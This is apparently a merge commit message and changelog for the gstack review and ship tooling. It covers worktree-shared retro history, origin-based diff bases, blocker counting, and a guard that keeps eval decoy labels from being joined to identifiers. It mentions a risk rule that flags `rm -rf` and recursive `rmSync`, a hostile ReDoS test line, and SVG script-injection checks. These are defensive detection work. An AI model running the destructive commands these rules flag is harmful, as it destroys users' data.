Merge main 3d99c224 (v1.92.76.0) into the browse wave (rule 19 grant, GSTA-36)

Resolution: test/fixtures/context-budget.json keeps main's capy/skill/gstack ceiling (5315).
To fit it, #3700's GSTACK_MODEL/SKILL_ROOT sentence leaves capy/skill/gstack/SKILL.md
(approved cut; GST-982 moves model pickup into the Capy installer).

 # Changelog
 
+## [1.92.76.0] - 2026-11-02
+
+**/retro now remembers its history across git worktrees, so a run in a linked worktree compares against last week instead of announcing "First retro recorded".** Retro snapshots used to live in `.context/retros/` inside the working tree. A worktree (Conductor, Claude Code) saw none of the main checkout's history, and its own snapshot was deleted along with the worktree (#3749).
+
+### Fixed
+- **`bin/gstack-retro-metrics --history [--next <YYYY-MM-DD>]`**: keeps retro history in `~/.gstack/projects/<slug>/retros/` (the state root), which every worktree of a repository shares. It lists earlier snapshots as `RETRO_PRIOR` lines, newest first, and reserves the next `<date>-<n>.json` as `RETRO_FILE`, so two retros running at once in different worktrees never write the same file.
+- **Moving old history**: snapshots in `.context/retros/` of the current worktree and the main checkout move to the shared folder on the first run. A copy identical to a stored snapshot from the same date is dropped, and a different snapshot with the same name takes the next free number, so nothing is overwritten. A `.context/retros` that points outside its worktree (a symlink to the shared folder or anywhere else) is left alone, and moves never replace an existing file.
+- **`retro/SKILL.md`**: Steps 12 and 13 use the helper, the gbrain prior-retros query reads the shared folder, and a history error is reported to the user instead of being mistaken for an outdated helper. `docs/skills.md` says where snapshots are saved.
+- `gstack-retro-metrics` no longer loops forever when an option such as `--next` is given without a value.
+
+### Tests
+- `test/regression-3749-retro-history-worktree.test.ts` runs the real Step 12 block in a main checkout with a linked worktree: the worktree sees the main checkout's snapshot, its new snapshot path is outside the worktree and survives `git worktree remove`, migration keeps every snapshot, a symlinked `.context/retros` cannot delete history, and two runs get different snapshot paths. It failed 4 of 4 on the code before the fix.
+
+**A stale local `main` no longer turns a /ship review into a full-depth gate review (GST-883).** `gstack-review-plan` handed the raw base name to `gstack-gate-diff`, which diffed against the local branch. With a local `main` four commits behind `origin/main`, the gate scan read a test edit that was already on `origin/main`, so a plain code diff planned as gate class at full depth. On gstack-evals#123 that cost about 15-20M tokens of readers the change did not need (GEVA-117).
+
+### Fixed
+- **`gstack-gate-diff <branch>`** resolves a branch name to its remote-tracking branch (`origin/main` for `main`, origin first), the way `gstack-review-plan`'s own diff and review dispatch already did (#3780). It uses the local branch only when no remote has the branch, and says so on stderr: `no remote-tracking branch for <base>`, or `<remote>/<base> shares no history with HEAD`. A repository with no remote at all uses the local branch without a note. Branches are read by their full ref names, so a tag named `main` or `origin/main` can no longer stand in for the base and hide committed edits from the scan.
+- **`gstack-review-plan`** passes the merge base its own diff used to `gstack-diff-scope` and `gstack-gate-diff`, so the scope flags, the gate scan and the line counts all read the same commits. Its diff reads `refs/remotes/origin/<base>` and `refs/heads/<base>` by full name too.
+
+### Tests
+- `test/review-plan-origin-base.test.ts`: a fixture whose `origin/main` is one commit ahead of the local `main`, with a test edit on `origin/main` and a branch forked from it. `gstack-review-plan --base main` and `gstack-gate-diff main` plan the same class, depth and gate-tagged count as with a fresh `main` (before the fix: gate, full, `RH-1:1` against code, light, none). A tag named `origin/main` or `main` at HEAD leaves the plan and the scanned range unchanged. Also covers the stderr note for a branch no remote has, an unrelated `origin/main`, and the quiet path with no remote.
+
+- **One hostile line no longer stalls review classification** (GST-898). R51's `rm -rf` rule in `lib/review-risk.ts` took quadratic time on a long flag run. One added line of `rm -` and 100,000 `r` characters held `matchRisk` for about 3.7 s, and each doubling took four times as long. The `rmSync(… recursive: true)` rule did the same on a line of repeated `rmSync(` calls. Both now run in linear time (the same line takes about 1 ms). The `rm` rule is rewritten with lookaheads and matches exactly the lines it matched before. The `rmSync` rule looks for `recursive: true` in the first 500 characters of the call, and a call with more than 500 characters before its closing parenthesis now counts as security on its own, so padding can't push the flag out of view. A slow match never lowered review depth: `gstack-review-dispatch pass` stops when the plan times out, and the queue recomputes depth itself.
+- A new test holds every risk pattern under 100 ms on 100,000-character hostile lines and checks both rules against R51's on 60,000 seeded lines each. Over the last 100 main commits, no commit changes depth, class or risk class, and none of the 69,023 changed lines gets a different verdict from either rule.
+
+### Fixed
+
+- **/ship no longer reviews a results write-up as if it were gate code.** Three planner misreads on gstack-evals#132 (GST-911) pushed a docs PR to the five-reader full panel. A chart SVG made of drawing elements now counts as data, like the same chart as a PNG; an SVG with a script, `foreignObject`, event handler or `javascript:` URL stays code and now gets the security class. A data file named for sessions (`recovered-sessions.jsonl`) no longer sets the auth scope, so it adds no auth reader and no gate class; session code and session config still do.
+- **`gstack-diff-scope` and the receipt depth read `origin/<base>` by its full ref name (GST-884).** A local `main` behind `origin/main` no longer adds upstream files to the scope, and a tag named `main` or `origin/main` can no longer stand in for the branch.
+
+### Tests
+
+- `test/review-planner-misreads.test.ts`: a 600-point matplotlib-style chart plans docs, light, runtime 0 (before: code, 636 runtime lines); six ways an SVG can run script keep it code with the security class, and other non-drawing constructs (external images, any CSS beyond declarations and `url(#id)`, animations, entity declarations) keep it code; session data files leave `SCOPE_AUTH` false while session code and config set it; a stale local `main` and tags named `main` or `origin/main` leave the scope and the receipt base unchanged.
+
+- `gstack-gate-diff` and `gstack-diff-scope` now read a bare base name such as `main` as origin's tracking branch (`refs/remotes/origin/main`) when it exists and shares history with HEAD. That's the base /ship fetches and merges against. Before, a local `main` that was behind `origin/main` set the merge base. That happens in a linked worktree, and on a Capy machine, where local `main` never moves. So the gate scan and the specialist scope also read commits already on `origin/main`. One /ship run in #3650 listed a `.github/workflows/ci.yml` hunk from upstream and dispatched an extra performance reviewer. `gstack-gate-diff` now says `local main is not origin/main; base is origin/main` on stderr when that happens. A base you name with its remote (`upstream/main`), a commit or `HEAD` is used as given. A tag named `origin/main` or a fork's `origin/upstream/main` branch can't stand in for the base, and another remote's branch only replaces a local base that is missing or unrelated (#3650).
+
+### Fixed
+
+- **The SVG drawing check runs in linear time.** One changed SVG with a long run of spaces inside `url(` could stall `gstack-review-plan` and the queue's depth check for hours (80,000 spaces took 0.8 s, a 1 MB run over 230 s). The check now reads it in about a millisecond and refuses exactly what it refused before.
+- **An SVG whose DOCTYPE points at an outside document stays code.** Only a bare `<!DOCTYPE svg>` or W3C's own SVG DTD still counts as a drawing, so an SVG with a `SYSTEM` DTD keeps its full review.
+- **`gstack-diff-scope` picks the same base as `gstack-gate-diff`.** When `origin/<base>` is missing or unrelated, a related local `<base>` now comes before another remote's branch in both tools.
+
+## [1.92.75.0] - 2026-11-02
+
+- **The /ship receipt counts every blocker its readers found** (GST-951). `gstack-review-scope summary` read only the review-log rows, but /ship's readers report through the dispatch ledgers (`gstack-review-dispatch collect` and `judge`). So a blocker that only the native adversarial pass raised, a CRITICAL logged fixed without classify's blocking stamp, and findings logged before they were classified all left `blocking_found` at 0. That happened on #3841, #3838 and #3837. The summary now also reads each ledger's collected and judged CRITICAL findings, pairs each one with at most one row finding from the same reviewer at the same path:line so a blocker held in both places counts once and one classified below the floor does not, and counts an unclassified CRITICAL row as blocking. `unrecorded=N` names blockers no row gives a disposition, and `ledgers_read=N` says how many it read.
+- **The summary refuses rather than undercount.** It now needs `--run <run dir>` (it finds every `review-ledger.jsonl` under it), `--ledger <f>`, or `--no-ledger` when no reader ran through `gstack-review-dispatch`. A missing choice, a run directory with no ledger, or an unreadable ledger, merged file or judged set, or a judged set changed since `judge`, is `REVIEW_SCOPE_LEDGER` with nothing written. /ship on Capy (`ship/DRIVER.md`) passes `--run`; the Claude Code flow passes `--no-ledger`.
+
+## [1.92.74.0] - 2026-11-02
+
+- **`gstack-pregate clear --run-url` needs a green run.** On a lane with no run profile, a run of the lane's own workflow that failed, was cancelled or timed out now refuses `PREGATE_RECEIPT_INVALID` (`run_not_success`), and one still queued or running refuses `run_in_progress`. The fix line says to rerun the workflow and clear with the green run. The check reads the run's newest attempt, so a job or attempt link is judged by the whole run, and the lane records the attempt it judged (`…/actions/runs/<id>/attempts/<n>`) instead of the link you passed. A green run still clears. docs/pregate.md now names `windows-smoke.yml/windows-smoke` as the free tier's Windows smoke lane, beside the narrower `free-tests.yml/cso-windows-launcher` and `windows-setup-e2e.yml/windows-setup` lanes. `test/pregate-clear-runs.test.ts` failed before the fix.
+
+## [1.92.73.0] - 2026-11-02
+
+### Fixed
+
+- **A reviewer that wrote `printed: REVIEWED_TREE: …` is no longer failed.** Two readers in GBRA-218 echoed the command and then wrote the fingerprint after a `printed:` label, so /ship read no line, failed them and restarted the pass twice. The label is now read, plain, bold or inside the line's backticks, and the tree and checkout it names are still compared exactly. A wrong tree or checkout is still refused.
+- **The Capy pass program stops before it sends a reader into the wrong checkout.** Capy starts every shared reader in the thread's working directory and cannot start one anywhere else. In GBRA-218 an outside voice ignored its `cd` and reviewed that checkout, so Step 11 lost its outside coverage. Now, before a stage takes a start token or sends its first reader, the program compares that directory with the checkout /ship ships. It stops when they differ or the directory can't be read. **Run /ship in the thread's own checkout**, not in a worktree beside it. A start directory outside any checkout, such as a multi-repo workspace root, still dispatches.
+- **Step 11 takes the right start token.** Reusing the pass input's `logStart: ["review"]` for `stage: "voices"` used to run the voices with no `adversarial-review` start, which left Step 11.5 nothing to bind. Step 11 now takes `adversarial-review` by default and stops before anything runs when given any other list. The gstack Capy skill says Step 11 swaps `logStart` for `stage: "voices"`.
+
+## [1.92.72.0] - 2026-11-02
+
+**The sealed guard can now refuse a published record that puts a label next to an identifier.** gstack-evals hides which test units are decoys. Its /ship on garrytan/gstack-evals#99 published a panel where each unit's `stratum`, `tags` and `decoy_set` sat next to its `head`, `tree_sha256`, `plan_bytes` and `files`, values a model under test can compute from its own copy of the work. A model could look itself up and learn it was the decoy. No answer leaked, so `gstack-pregate sealed` said `clear` (GSTA-2, GST-620). The new rule is opt-in. A repo that sets `sealed.label_keys` gets it, and every other repo sees the same output as before, byte for byte.
+
+### Added
+- **`sealed.label_keys` and `sealed.identifier_keys` in `.gstack/pregate.json`.** With `label_keys` set, `sealed.label_join` checks every .json, .jsonl, .ndjson, .csv, .tsv and Markdown pipe table a published commit adds, modifies, renames or copies. A record that holds a label field and an identifier (a field matching an `identifier_keys` glob, by default `head`, `*_sha256`, `*_bytes`, `files` and similar names, or any 7 to 64 character hex string, as a value, in a list, or as the key of an object) is a join. The guard fingerprints each join in memory and compares it with the parent's version of the file, so unchanged rows and reformatting stay clear while a replaced, added or widened row refuses even when the row count stays the same. Findings name the file, the commit and the field names (`keys=stratum,tags,head,plan_bytes`), never the values, on stderr, in `--json` and in the pre-push hook.
+- **`sealed.label_join_unchecked`.** A file whose text never names a label key, ignoring double quotes, cannot hold a join and is skipped without parsing, so a commented `tsconfig.json` passes. A file with a `\u` escape is always parsed. A supported file over 4 MiB, one that names a label key and does not parse, one nested deeper than 64 levels, or a blob git cannot read refuses instead of passing unread. The `SEALED:` line counts these as `unchecked=<n>`. Like every sealed finding, it can be waived through the base branch's `.gstack/sealed-allow.tsv`; `allow_paths` never exempt either rule.
+- **The policy only tightens.** A field can count as both a label and an identifier, so adding identifier names to `label_keys` never hides a join. Both lists are the union of the base branch's and the pushed policy's, each resolved to its default first, so a pushed config can turn the rule on or widen it but cannot turn it off or narrow it.
+
+### Changed
+- **docs/pregate.md#sealed** documents the rule, its normalization (`Tree SHA-256` matches as `tree_sha_256`) and its known limits: joins across files, joins by reference, columnar JSON, labels in file names and prose. Its version-skew note now names the new keys. A gstack older than this release refuses them as unknown, so raise `min_gstack_version` before adopting them. The unknown-key error now lists `label_keys` and `identifier_keys` among the valid keys.
+
+### Tests
+- `test/sealed-guard.test.ts`: the GSTA-2 panel refuses through `gstack-pregate sealed`, `--json` and the pre-push hook, and warns on a private destination, with no value in any output. It failed on main. A golden captured from main 2d1b55d76 covers seven pushes (refused, clear, exempt, waived, warned, error, no policy) without `label_keys`; stdout, stderr, `--json`, the hook's stderr and every exit code match it byte for byte.
+- `test/sealed-join.test.ts`: each format, human table headers, hex values under unlisted keys, maps keyed by sha, quoted TSV, a CSV header split by quotes (`"Strat"um`), a commented tsconfig.json that stays clear, dotted key names refused in the config, identifier names added to a pushed `label_keys`, decimal strings that stay clear, replacement at the same count, delete plus add, an added identifier field, labels then identifiers a commit later, renames, merges, five unchecked cases, waivers, `allow_paths`, pushed attempts to narrow or disable the rule, and `label_keys: []` matching an absent key.
+
 ## [1.92.71.0] - 2026-11-02
 
 **Four free-suite waits now end when the thing they wait for happens: the six files involved spend 18–29 s less in summed per-file runtime, with every assertion intact.** `./setup` returns from a finished child up to ~0.9 s sooner too.

+  object at any depth (its own fields plus one level of nested objects, named
+  like `meta.head`), a JSONL or NDJSON line, a CSV or TSV row, or a row of a
+  Markdown pipe table (CSV and TSV cells may be quoted). Field names and table headers are compared after
+  trimming, lowercasing and turning spaces and hyphens into underscores
+  (`Tree SHA-256` is `tree_sha_256`); this is the rule's own normalization,
+  separate from `case_insensitive`. An identifier is a field whose name
+  matches an `identifier_keys` glob (`*` is the only wildcard; the default
+  is `head`, `head_sha`, `sha`, `commit`, `tree`, `tree_sha*`, `*_sha`,
+  `*_sha256`, `sha256`, `digest`, `*_digest`, `hash`, `*_hash`,
+  `*_bytes`, `bytes`, `size`, `files`, `lines`), or any string value (or a
+  list holding one) of 7 to 64 hex characters with at least one digit and
+  one letter a to f. An
+  object key of that shape counts as an identifier of the object it holds
+  (shown as `(key)`), so a map keyed by sha joins too. Numbers count only
+  through the field name. A field can be both a label and an identifier, and
+  a record joins when it has a label field and a different identifier field,
+  so adding identifier names to `label_keys` never hides a join. Both lists take bare field names: a nested field
+  matches by its own name (`stratum`, never `meta.stratum`). For each supported file a commit adds,
+  modifies, renames or copies, the guard fingerprints every joined record
+  (sha256 over its label and identifier fields and their values, kept in
+  memory) and compares the set with the parent's version of the file (the
+  rename or copy source; every parent for a merge). A fingerprint no parent
+  has is a finding, so unchanged records and formatting-only edits stay clear,
+  and a replaced, added or widened record refuses even when the count stays
+  the same. A file whose text never names a label key, ignoring double
+  quotes (so `"Strat"um` still names `stratum`), cannot hold a join, so
+  it is skipped without parsing (a commented `tsconfig.json` passes). A file
+  with a `\u` escape, which could spell a label key, is always parsed, so a
+  commented one is `sealed.label_join_unchecked`. A
+  supported file over 4 MiB, one that names a label key and does not parse (one bad
+  JSONL line is enough), one nested deeper than 64 levels, or a blob git
+  cannot read is `sealed.label_join_unchecked`. It refuses too, and the
+  `SEALED:` line counts it as `unchecked=<n>`. Findings print field names
+  (`keys=`, label fields first), never values; `--json` carries them as
+  `keys`. `allow_paths` never exempt either rule; a base-branch waiver does.
+  Both lists are the union of the base branch's and the pushed policy's, each
+  resolved to its default first, so a push can turn the rule on or widen it
+  but never turn it off or narrow it. Without `label_keys` the guard reads no
+  file contents and its output is unchanged. Known limits: joins across files,
+  joins by reference inside a file (a `decoy_set` list naming units described
+  elsewhere), a map from an identifier straight to a label value with no
+  label field name, columnar JSON (`columns` plus `rows`), labels encoded in
+  file names, and prose.
